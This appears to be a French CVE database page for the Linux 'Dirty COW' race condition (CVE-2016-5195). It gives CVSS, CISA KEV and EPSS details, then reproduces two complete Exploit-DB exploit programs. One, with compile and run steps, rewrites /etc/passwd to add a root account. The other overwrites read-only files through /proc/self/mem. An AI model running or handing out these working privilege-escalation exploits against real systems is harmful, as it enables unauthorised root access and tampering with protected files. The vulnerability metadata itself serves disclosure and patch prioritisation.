CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Linux Kernel Race Condition Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-02 23h00 +00:00
Action attendue : 2022-03-23 23h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
11.51%
–
–
2022-04-03
–
–
11.51%
–
–
2023-03-12
–
–
–
81.73%
–
2023-05-07
–
–
–
86.82%
–
2023-05-14
–
–
–
87.61%
–
2023-06-18
–
–
–
88.3%
–
2023-07-09
–
–
–
78.76%
–
2023-07-16
–
–
–
87.94%
–
2024-02-11
–
–
–
87.94%
–
2024-06-02
–
–
–
87.94%
–
2024-06-02
–
–
–
87.94%
–
2024-07-28
–
–
–
81.66%
–
2024-12-22
–
–
–
70.2%
–
2025-01-19
–
–
–
70.2%
–
2025-03-18
–
–
–
–
94.34%
2025-03-30
–
–
–
–
94.28%
2025-04-06
–
–
–
–
94.15%
2025-04-06
–
–
–
–
94.15,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-11-27 23h00 +00:00 Auteur : FireFart EDB Vérifié : Yes
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
Date de publication : 2016-10-18 22h00 +00:00 Auteur : Phil Oester EDB Vérifié : Yes
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}